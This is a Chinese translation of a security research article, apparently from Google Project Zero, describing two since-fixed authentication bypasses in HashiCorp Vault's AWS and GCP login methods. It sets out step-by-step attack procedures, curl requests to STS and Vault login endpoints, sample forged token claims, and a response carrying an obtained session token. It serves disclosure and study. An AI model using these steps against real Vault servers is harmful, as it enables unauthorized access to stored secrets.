自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

深入剖析HashiCorp Vault中的身份驗證漏洞(下篇)

安全 漏洞
在這篇文章中,我們將為讀者深入講解HashiCorp Vault中的兩個身份驗證漏洞。

[[346836]]

在上一篇文章中,我們?yōu)樽x者介紹了Vault的身份驗證架構(gòu),以及冒用調(diào)用方身份的方法,在本文中,我們將繼續(xù)為讀者介紹冒用調(diào)用方身份以及利用Vault-on-GCP的漏洞的過程。

STS(調(diào)用方)身份盜用 (接上文)

這使我們向盜用任意調(diào)用方身份的目標更靠近了一步:我們只需要找到一個STS操作來反映攻擊者控制的文本,并將它作為其API響應(yīng)的一部分。然后,對它的請求進行序列化,同時包含一個Accept: application/json標頭,并將一個任意的GetCallerIdentityResponse XML blob放入反射型payload中。

找到一個不受字母數(shù)字字符限制的反射型參數(shù)是一件非常棘手的事情。經(jīng)過反復(fù)嘗試后,我決定以AssumeRoleWithWebIdentity操作和它的SubjectFromWebIdentityToken響應(yīng)元素作為目標。其中,AssumeRoleWithWebIdentity用于將OpenID Connect(OIDC)供應(yīng)商簽名的JSON Web Tokens(JWT)轉(zhuǎn)換成AWS IAM身份。

使用有效簽名的JWT向該操作發(fā)送請求,將返回SubjectFromWebIdentityToken字段中的令牌的sub字段。

當然,一個正常的OIDC供應(yīng)商是不會在主題字段中給帶有XML有效載荷的JWT進行簽名的。不過,攻擊者只要直接創(chuàng)建自己的OIDC身份供應(yīng)商(IdP),并將其注冊到自己的AWS賬戶上,然后就可以用自己的密鑰對任意的令牌進行簽名了。

讓我們把這一切放在一起,就可以搞定整個攻擊過程:

 創(chuàng)建一個OIDC IdP。實際上,就是生成一個RSA密鑰對,創(chuàng)建一個OIDC discovery.json和key.json文檔,并將json文件托管在Web服務(wù)器上(參見這里,這是使用S3的設(shè)置示例)。

 使用自己的AWS賬戶注冊一個OID IdP -> AWS IAM角色映射。需要注意的是,這里的AWS賬戶不需要與我們的目標有任何關(guān)系。

 現(xiàn)在,就可以使用我們的OIDP給一個JWT進行簽名了,其中可以放入任意的GetCallerIdentityResponse,只要將其作為主題聲明的一部分即可。解碼后的示例令牌可能是這樣的:iss、azp和aud與步驟2中指定的細節(jié)是完全匹配的。其中,sub中包含我們的偽造的響應(yīng),從而將我們識別為AWS IAM賬戶arn:aws:iam::superprivileged-aws-account。

  1. {'iss''https://oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/'
  2.  
  3. 'azp''abcdef''aud''abcdef'
  4.  
  5. 'sub'''
  6.  
  7. 'exp': 1595120834, 'iat': 1594207895} 

 我們可以使用步驟3中的(已經(jīng)簽名的)令牌和步驟2中使用的RoleArn直接向STS AssumeRoleWithWebIdentity操作發(fā)送請求,以測試所有設(shè)置是否正確:

  1. curl -H "Accept: application/json" 
  2.  
  3. 'https://sts.amazonaws.com/?DurationSeconds=900&Action=AssumeRoleWithWebIdentity&Version=2011-06-15&RoleSessionName=web-identity-federation&RoleArn=arn:aws:iam::XZY::YOUR-OIDC-ROLE&WebIdentityToken=YOURTOKEN' 

如果一切按計劃進行,STS將把令牌主題反映為其JSON編碼響應(yīng)的一部分。如上所述,Go XML解碼器將跳過GetCallerIdentityResponse對象前后的所有內(nèi)容,從而使Vault認為這是一個有效的STS CallerIdentity響應(yīng)。

  1. {"AssumeRoleWithWebIdentityResponse":{"AssumeRoleWithWebIdentityResult"
  2.  
  3. {"AssumedRoleUser":{"Arn":"arn:aws:iam::XZY::YOUR-OIDC-ROLE/web-identity-federation","AssumedRoleId":"AROATQ4R7PP5JJNLOF5P6:web-identity-federation"}, 
  4.  
  5. "Audience":"abcdef","Credentials":{...},"PackedPolicySize":null,"Provider":"arn:aws:iam::242434931706:oidc-provider/oidc-test-wrbvvljkzwtfpiikylvpckxgafdkxfba.s3.amazonaws.com/"
  6.  
  7. "SubjectFromWebIdentityToken":""}, 
  8.  
  9. "ResponseMetadata":....} 

 最后一步是將該請求轉(zhuǎn)換為Vault所期望的形式(例如使用base64編碼所有所需的標頭、url和一個空的post正文),并將其作為/v1/auth/aws/login上的登錄請求發(fā)送給目標Vault服務(wù)器。此后,Vault將反序列化該請求,將其發(fā)送到STS,并錯誤地解釋該響應(yīng)。如果我們偽造的GetCallerIdentityResponse中的AWS ARN/UserID在Vault服務(wù)器上具有特權(quán),我們就會得到一個有效的會話令牌,這樣,我們就可以用它來與Vault服務(wù)器交互,從而進一步獲取更多機密信息了。

  1. curl -X POST "https://vault-server/v1/auth/aws/login" -d '{"role":"dev-role-iam"
  2.  
  3. "iam_http_request_method""POST""iam_request_body""encoded-body", , "iam_request_headers" : 
  4.  
  5. "encoded-headers""iam_request_url" : "encoded-url"}' 
  6.  
  7. {"request_id":"59b09a0b-f5d5-f4c4-8ed0-af86a2c1f5d4","lease_id":"","renewable":false,"lease_duration":0,"data":null,"wrap_info":null,"warnings":["TTL 
  8.  
  9. of \"768h\" exceeded the effective max_ttl of \"500h\"; TTL value is capped 
  10.  
  11. accordingly"],"auth":{"client_token":"s.Kx3bUNw6wEc5bbkrKBiGW6WL","accessor":"TBRh0hvfd4FkYEAyFrUE3i2P","policies":["default","dev","prod"],"token_policies":["default","dev","prod"], 
  12.  
  13. "metadata":{"account_id":"242434931706","auth_type":"iam","role_id":"47faaf36-c8ab-c589-396c-2643c26e7b30"}, 
  14.  
  15. "lease_duration":1800000,"renewable":true,"entity_id":"447e1efe-0fd4-aa10-3a54-52405c0c69ab","token_type":"service","orphan":true}} 

我已經(jīng)編寫了一個概念驗證exploit,用于負責(zé)JWT的創(chuàng)建和序列化等的大部分工作。雖然OIDC供應(yīng)商的設(shè)置增加了一些復(fù)雜性,但我們?nèi)钥梢岳@過所有啟用AWS的角色的身份驗證。這里唯一的要求是,攻擊者需要知道目標Vault服務(wù)器中的特權(quán)AWS角色的名稱。

那么問題出自哪里呢?從攻擊者的角度來看,整個認證機制看起來很機智,但容易出錯。將HTTP請求轉(zhuǎn)發(fā)放入安全產(chǎn)品未經(jīng)身份驗證的外部攻擊表面需要對實現(xiàn)和底層HTTP庫具有極強的信心。由于安全性取決于安全令牌服務(wù)的實現(xiàn)細節(jié),而安全令牌服務(wù)可能隨時發(fā)生變化,這會讓事情變得更加困難。例如,AWS可能會決定將STS放在負載均衡前端的后面,使用Host標頭進行路由決策。出現(xiàn)這種情況后,如果不對Vault代碼庫進行相應(yīng)的修改,可能會嚴重降低這種認證機制的安全性。

當然,身份驗證之所以這樣工作也是有原因的:AWS IAM沒有向其他非AWS服務(wù)證明該服務(wù)身份的直接方法。第三方服務(wù)無法輕松驗證預(yù)簽名請求,并且AWS IAM沒有提供可用于實現(xiàn)基于證書的身份驗證或JWT的標準簽名原語。

最后,Hashicorp通過強制執(zhí)行HTTP標頭文件的允許列表、限制請求使用GetCallerIdentity操作以及加強對STS響應(yīng)的驗證來修復(fù)了該漏洞,以期可以防止STS實現(xiàn)的意外變化或STS與Golang之間的HTTP解析器的差別所帶來的影響。

在AWS身份驗證模塊中發(fā)現(xiàn)這個問題后,我決定審查其GCP的等價物。下一節(jié)將介紹Vault的GCP認證是如何實現(xiàn)的,以及在許多配置中,一個簡單的邏輯缺陷是如何導(dǎo)致認證繞過的。

利用Vault-on-GCP的漏洞

Vault支持在谷歌云上部署的gcp認證方法。與AWS的同類產(chǎn)品類似,該認證方法支持兩種不同的認證機制:iam和gce機制。其中,iam機制能夠支持任意服務(wù)賬戶,并且可以在App Engine或Cloud Functions等服務(wù)中使用,而gce只能用于對運行在Google Compute Engine上的虛擬機進行身份驗證。不過,它還是具有一些優(yōu)勢的:gce不僅可以根據(jù)服務(wù)帳戶身份做出身份驗證決策,還可以根據(jù)多個VM屬性授予訪問權(quán)限。例如,一個配置可以只允許特定區(qū)域(europe-west-6)的虛擬機訪問某些機密信息,允許xyz-prod GCP項目中的所有虛擬機所有訪問權(quán)限,或者使用instance-groups對訪問權(quán)限做進一步的限制。

實際上,iam和gce認證機制都是建立在JWT之上的。一個vault客戶端如果想要進行身份驗證,則需要創(chuàng)建一個簽名令牌來證明自己的身份,并將其發(fā)送到vault服務(wù)器來獲取會話令牌。對于iam機制來說,客戶端可以直接使用其控制的服務(wù)賬戶私鑰或使用projects.serviceAccounts.signJwt IAM API方法給令牌簽名。

對于gce來說,客戶端需要在授權(quán)的GCE虛擬機上運行。它通過向GCP元數(shù)據(jù)服務(wù)器的實例身份端點發(fā)送請求來獲取簽名令牌。與服務(wù)賬戶令牌相比,這個令牌是由谷歌官方證書進行簽名的。除了正常的JWT聲明(sub、aud、iat、exp)外,從元數(shù)據(jù)服務(wù)器返回的令牌還包含一個特殊的compute_engine聲明,它列出了關(guān)于該實例的相關(guān)細節(jié),這些細節(jié)將作為認證過程的一部分進行處理。

  1. "google":{"compute_engine":{"instance_creation_timestamp":1594641932,"instance_id":"671398237781058X 
  2.  
  3. XXX","instance_name":"vault","project_id":"fwilhelm-testing-XXXX","project_number":950612XXXX,"zone":"europe-west3-c"}} 

JWT在設(shè)計上有很多選擇的余地,這使得它的實現(xiàn)非常容易出現(xiàn)問題(參見securitum的這篇博文,以了解典型問題的相關(guān)概述),所以,我決定花一天時間來回顧Vault的令牌處理機制。

實際上,函數(shù)parseAndValidateJwt是專門負責(zé)處理gce和iam令牌的。

該函數(shù)首先在不驗證簽名的情況下解析令牌,并將解碼后的令牌傳入getSigningKey helper方法:

  1. // Process JWT string. 
  2.  
  3. signedJwt, ok := data.GetOk("jwt"
  4.  
  5. if !ok { 
  6.  
  7. return nil, errors.New("jwt argument is required"
  8.  
  9.  
  10. // Parse 'kid' key id from headers. 
  11.  
  12. jwtVal, err := jwt.ParseSigned(signedJwt.(string)) 
  13.  
  14. if err != nil { 
  15.  
  16. return nil, errwrap.Wrapf("unable to parse signed JWT: {{err}}", err) 
  17.  
  18.  
  19. key, err := b.getSigningKey(ctx, jwtVal, signedJwt.(string), loginInfo.Role, req.Storage) 
  20.  
  21. if err != nil { 
  22.  
  23. return nil, errwrap.Wrapf("unable to get public key for signed JWT: %v", err) 
  24.  

其中,getSigningKey將從token標頭中提取密鑰id聲明(kid),并試圖找到一個具有相同標識符的google級別(google-wide)的oAuth密鑰。它雖然對GCE元數(shù)據(jù)令牌有效,但對服務(wù)賬戶簽名的令牌無效:

  1. func (b *GcpAuthBackend) getSigningKey(...) (interface{}, error) { 
  2.  
  3. b.Logger().Debug("Getting signing Key for JWT"
  4.  
  5. if len(token.Headers) != 1 { 
  6.  
  7. return nil, errors.New("expected token to have exactly one header"
  8.  
  9.  
  10. kid := token.Headers[0].KeyID 
  11.  
  12. b.Logger().Debug("kid found for JWT""kid", kid) 
  13.  
  14. // Try getting Google-wide key 
  15.  
  16. k, gErr := gcputil.OAuth2RSAPublicKey(ctx, kid) 
  17.  
  18. if gErr == nil { 
  19.  
  20. b.Logger().Debug("Found Google OAuth2 provider key""kid", kid) 
  21.  
  22. return k, nil 
  23.  

如果這種方法失敗,Vault服務(wù)器會從提供的令牌中提取Subject(sub)聲明。對于有效的令牌,這個聲明將包含簽名服務(wù)賬戶的電子郵件地址。知道了令牌的密鑰id和主題后,Vault就能使用服務(wù)賬戶GCP API獲取用于簽名的公鑰:

  1. // If that failed, try to get account-specific key 
  2.   
  3. b.Logger().Debug("Unable to get Google-wide OAuth2 Key, trying service-account public key"
  4.   
  5. saId, err := getJWTSubject(rawToken) 
  6.   
  7. if err != nil { 
  8.   
  9.         return nil, err 
  10.   
  11.   
  12. k, saErr := gcputil.ServiceAccountPublicKey(saId, kid) 
  13.   
  14. if saErr != nil { 
  15.   
  16.         return nil, errwrap.Wrapf(fmt.Sprintf("unable to get public key %q for JWT subject %q: {{err}}", kid, saId), saErr) 
  17.   
  18.   
  19. return k, nil 

在這兩種情況下,Vault服務(wù)器現(xiàn)在都可以訪問驗證JWT簽名的公鑰了:

  1. // Parse claims and verify signature. 
  2.   
  3. baseClaims := &jwt.Claims{} 
  4.   
  5. customClaims := &gcputil.CustomJWTClaims{} 
  6.   
  7. if err = jwtVal.Claims(key, baseClaims, customClaims); err != nil { 
  8.   
  9.         return nil, err 
  10.   
  11.   
  12. if err = validateBaseJWTClaims(baseClaims, loginInfo.RoleName); err != nil { 
  13.   
  14.         return nil, err 
  15.   

如果驗證成功,Vault將填寫loginInfo結(jié)構(gòu)體,該結(jié)構(gòu)體稍后用于授予或拒絕授予訪問權(quán)限。如果令牌包含compute_engine聲明,則將其復(fù)制到logininfo.gceMetada字段中:

  1. loginInfo.JWTClaims = baseClaims 
  2.   
  3. if len(baseClaims.Subject) == 0 { 
  4.   
  5.         return nil, errors.New("expected JWT to have non-empty 'sub' claim"
  6.   
  7.   
  8. loginInfo.EmailOrId = baseClaims.Subject 
  9.   
  10. if customClaims.Google != nil && customClaims.Google.Compute != nil &&  len(customClaims.Google.Compute.InstanceId) > 0 { 
  11.   
  12.         loginInfo.GceMetadata = customClaims.Google.Compute 
  13.   
  14.   
  15. if loginInfo.Role.RoleType == gceRoleType && loginInfo.GceMetadata == nil { 
  16.   
  17.         return nil, errors.New("expected JWT to have claims with GCE metadata"
  18.   
  19.   
  20. return loginInfo, nil 

如上所述,所有這些代碼都在iam和gce auth方法之間是通用的。這里的問題是,沒有強制要求該令牌是由不包含GCE compute_engine聲明的服務(wù)賬戶進行簽名的。雖然GCE元數(shù)據(jù)令牌中的內(nèi)容是可信的,并且是由Google控制的,但服務(wù)賬戶令牌則是完全由服務(wù)賬戶的所有者控制的,因此可能包含任意的聲明。

如果我們按照gce方法的控制流程走到最后,我們將會發(fā)現(xiàn),Vault會在pathGceLogin中將loginInfo.GceMetadata作為其認證決策的一部分,如果滿足下面兩個條件的話:

元數(shù)據(jù)部分中描述的VM需要存在。這是使用GCE API驗證的,并且需要攻擊者模擬處于運行狀態(tài)的VM。實際上,只有project_id、zone和instance_name需要驗證,并且需要設(shè)置為有效值。

JWT令牌的主題聲明中的服務(wù)帳戶必須是存在的。這是通過ServiceAccount GCP API進行驗證的,要求在托管服務(wù)帳戶的項目中擁有am.ServiceAccounts.Get權(quán)限。由于攻擊者可以在自己的項目中使用服務(wù)帳戶,所以只需將這個權(quán)限授予Vault GCP身份,甚至是allUsers即可。

最后,調(diào)用AuthorizeGCE來授予或拒絕訪問權(quán)限。如果攻擊者使用正確的屬性(項目、標簽、區(qū)域等)冒充的GCE實例一切正常,攻擊者將得到一個有效的會話令牌。唯一不能繞過的身份驗證限制,就是硬編碼的服務(wù)帳戶名,因為該值等于攻擊者帳戶,而不是預(yù)期的VM帳戶名。

針對易受攻擊配置的端到端攻擊過程如下所示:

1. 在你控制的GCP項目中創(chuàng)建一個服務(wù)賬戶,并使用gcloud生成一個私鑰:gcloud iam service-accounts keys create key.json --iam-account sa-name@project-id.iam.gserviceaccount.com。

2. 用一個偽造的compute_engine claim來給一個JWT簽名,以冒充一個現(xiàn)有的、有特權(quán)的虛擬機。請看這里的簡單的概念驗證腳本,其中已經(jīng)考慮到了大部分的細節(jié)。

3. 現(xiàn)在,只需使用令牌登錄Vault即可:curl --request POST --data '{"role": "my-gce-role", "jwt" : "...."}' http://vault:8200/v1/auth/gcp/login

這是一個非常有趣的漏洞,需要對GCP IAM有一定的了解才能發(fā)現(xiàn)它。該漏洞的根源,好像是因為在parseAndValidateJwt函數(shù)中,將兩個獨立的認證流合并到一個代碼路徑中,這使得在編寫或?qū)彶榇a時,很難弄清楚所有的安全要求。同時,由于GCP提供了兩種具有完全不同安全屬性的JWT令牌,使得自己很容易中槍。

小結(jié)

本文介紹了用于管理機密信息的“云原生”軟件HashiCorp Vault中被曝出的兩個認證漏洞。雖然Vault在開發(fā)時明顯考慮到了安全問題,并從其實現(xiàn)語言Go的內(nèi)存安全和高質(zhì)量標準庫中受益良多,但我仍然能夠在其無需認證的攻擊面中發(fā)現(xiàn)兩個關(guān)鍵漏洞。

根據(jù)我的經(jīng)驗,在開發(fā)人員必須與外部系統(tǒng)和服務(wù)交互的地方,經(jīng)常會存在類似這樣的棘手漏洞。一個強大的開發(fā)人員也許能夠推理出自己軟件的所有安全邊界、需求和陷阱,但一旦有復(fù)雜的外部服務(wù)出現(xiàn),確保軟件的安全性就變得非常困難。雖然現(xiàn)代云IAM解決方案功能強大,通常比同類內(nèi)部解決方案更安全,但也有自己的安全隱患和較高的實施復(fù)雜性。隨著越來越多的公司向大型云提供商遷移,熟悉這些技術(shù)棧將成為安全工程師和研究人員的關(guān)鍵技能,可以肯定的是,未來幾年肯定會曝出越來越多的同類問題。

最后,本文所討論的兩個漏洞都表明了編寫的安全軟件是多么的困難。即使使用內(nèi)存安全的語言、強大的密碼學(xué)原語、靜態(tài)分析和大型模糊基礎(chǔ)結(jié)構(gòu),某些問題也只能通過手動代碼審查和攻擊者的思維方式才能發(fā)現(xiàn)。

本文翻譯自:https://googleprojectzero.blogspot.com/2020/10/enter-the-vault-auth-issues-hashicorp-vault.html如若轉(zhuǎn)載,請注明原文地址。

 

責(zé)任編輯:姜華 來源: 嘶吼網(wǎng)
相關(guān)推薦

2020-10-15 10:15:12

Vault中的身份驗

2021-07-19 10:10:15

身份驗證漏洞Windows Hel

2022-05-19 14:39:41

VMware漏洞惡意攻擊

2014-09-12 09:58:45

2012-02-20 09:55:41

ibmdw

2010-09-06 11:24:47

CHAP驗證PPP身份驗證

2010-01-07 17:41:19

VB.NET驗證LDA

2025-04-25 07:00:00

身份驗證CISO無密碼

2023-11-30 13:13:14

2010-07-17 00:57:52

Telnet身份驗證

2012-04-10 09:36:58

2014-10-30 09:14:28

2022-11-14 08:17:56

2011-02-21 10:54:45

2013-07-21 18:32:13

iOS開發(fā)ASIHTTPRequ

2021-10-06 14:36:36

身份驗證漏洞黑客

2024-08-06 16:00:06

2022-06-05 00:15:31

驗證身份網(wǎng)絡(luò)

2012-10-23 16:12:35

2009-04-09 23:44:08

軟件身份驗證用戶
點贊
收藏

51CTO技術(shù)棧公眾號